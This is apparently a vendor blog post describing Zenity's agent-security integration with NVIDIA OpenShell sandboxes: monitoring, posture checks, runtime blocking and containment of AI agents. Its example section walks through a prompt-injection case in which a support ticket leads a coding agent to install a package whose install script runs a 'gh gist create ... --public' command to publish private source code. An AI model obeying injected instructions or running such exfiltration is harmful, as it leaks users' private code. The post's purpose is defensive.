✦ Zenity is a Founding Member of ServiceNow's Control Tower Alliance

Intent-to-Kernel: Zenity Brings Agent-Aware Security to NVIDIA OpenShell

D
David Elkoby
•
Cover Image
Ask AI to

NVIDIA OpenShell is fast becoming the reference for running AI agents at scale. NVIDIA OpenShell™ Reference Architecture, launched at NVIDIA GTC™ with more than 50 partners, makes the sandbox the standard place for agents to run.

Today, Zenity for Sandboxes supports OpenShell. Our launch post covered why the sandbox is the next control plane for AI agents, and why it needs the agent's context to make the right call. This post shows how that works on OpenShell. Zenity decides, OpenShell enforces.

An Attack Every Layer Allowed

Most of the damage won't come from escapes or zero-days. It will come from loosely configured sandboxes and from legitimate access put to the wrong use: permitted egress, brokered credentials, and approved API calls.

Take the example from our launch post. Claude Code, running in an OpenShell sandbox, reads a support ticket with a hidden malicious instruction to install a "debug helper". The package's install script runs gh gist create src/*.py --public. OpenShell's broker did its job: the GitHub token never entered the sandbox. But the malware didn't need it. It ran the allowed gh binary against an allowed host, and the broker injected the credential for it. The broker protects the key, not the data.

The sandbox saw an allowed gh call to an allowed host. The harness saw a routine package install. Neither was enough on its own. Zenity saw both, joined with the agent's intent: the session had read an untrusted ticket, and a process under the pip install was publishing private code. OpenShell's supervisor asked Zenity before the request left, Zenity said no, and the agent was told why and went back to the fix.

blog post

How Zenity Plugs Into OpenShell

Zenity connects to OpenShell in several ways, to see the whole picture and act where it counts.

First, it plugs in where OpenShell already makes its decisions. The agent runs inside the sandbox, and all of its traffic leaves through OpenShell's supervisor, which runs outside the sandbox and asks Zenity before a request goes out. OpenShell's gateway asks Zenity if operations should be allowed when a sandbox is created and when its policy changes.

Second, inside the sandbox, the agent's harness hooks and Zenity's sensor report what the agent meant to do and what actually happened, through the supervisor like all other traffic.

blog post

Zenity makes the decision; the supervisor and the gateway enforce it, outside the agent's reach.

What Zenity Brings to OpenShell

Protecting agents in sandboxes takes all of it. Inspecting network traffic via middleware isn't enough on its own, and neither is watching the sandbox's processes and files with a sensor, checking its posture, or judging one action at a time. Each one sees part of the full picture. Zenity brings them together with the agent's intent, so every decision is made with the full picture, in all its depth.

On OpenShell, Zenity uses every layer: the middleware on every request, the gateway's APIs and events from the moment a sandbox is created, and Zenity's own sensor inside the sandbox, which closes the loop on files, the supply chain, and discovery, so no decision is made blind.

Below is what's specific to OpenShell. For the full story behind each capability and what it looks like in our product, see our launch post.

Discovery

Every OpenShell sandbox becomes an asset in Zenity as soon as the gateway creates it, linked to the agent running in it, its credentials, its egress policy, its owner, and its image. From inside the sandbox, Zenity's sensor also maps its supply chain: the packages, skills, and MCP servers in it, including the ones an agent installs mid-session, and it flags the agents running with no sandbox at all.

Observability, posture, and control

Zenity checks every sandbox's configuration for the settings that quietly defeat it, for example:

  • Real API keys passed in the sandbox's environment, or baked into its image, instead of going through OpenShell's credential broker. Keys in the environment are caught at the gateway, before the sandbox starts.
  • Wildcard or overly broad egress rules.
  • Auto-approval of new egress, which lets an injected agent open its own way out.
  • Blocking rules left in audit mode, which log but don't block.

Through OpenShell's gateway interceptors, Zenity's protection is attached to every new sandbox automatically, and any policy change that tries to remove it is rejected. The baseline also keeps the agent's hooks and Zenity's sensor read-only, so a manipulated agent can't switch them off. Teams keep their own sandbox policies, and Zenity's baseline applies on top.

Everything lands on one intent-to-kernel timeline, which reads both ways: the agent's prompts and tool calls, joined with what they caused in the sandbox, from the processes they spawned and the files they touched to the hosts they reached, all sent directly into Zenity's AI Detection and Response (AIDR).

Runtime protection

Zenity's detection engine watches every session across both layers, the agent harness and the sandbox, and judges each action in the context of the whole session.

It weighs many signals, including:

  • Intent: what the agent was asked to do, from the agent harness.
  • Taint: where its instructions came from. Untrusted content marks the session.
  • Low-level telemetry: what actually happened: processes and files from Zenity's sensor inside the sandbox, and network requests from OpenShell's supervisor.

When they disagree, such as a tainted session doing something its task never needed, Zenity acts, and OpenShell's supervisor enforces the verdict before the request leaves. Teams set their own rules with Zenity Boundaries, written once and enforced wherever the agent runs: in its harness, in OpenShell and beyond. A blocked agent is told why and steered back on task. The same signals decide the agent's own requests for new access, which OpenShell's gateway sends to Zenity, so an injected agent can't open its own way out.

Containment

When you lose trust in an agent mid-run, Zenity contains it through OpenShell's own levers, escalating only as far as needed: steer the agent back to its task, tighten or cut the sandbox's egress, detach or rotate its brokered credentials, suspend the sandbox, or stop it with the full trajectory kept for the investigation. For a fleet-wide incident, one policy on the gateway locks down every sandbox at once.

What's next

This is just the start. We're teaming up with NVIDIA to keep expanding what can be secured for agents in sandboxes, and contributing back to OpenShell along the way.

Running agents in OpenShell, or planning to? Talk to us about intent-to-kernel security.

All Articles

Secure Your Agents

We’d love to chat with you about how your team can secure and govern AI Agents everywhere.

Get a Demo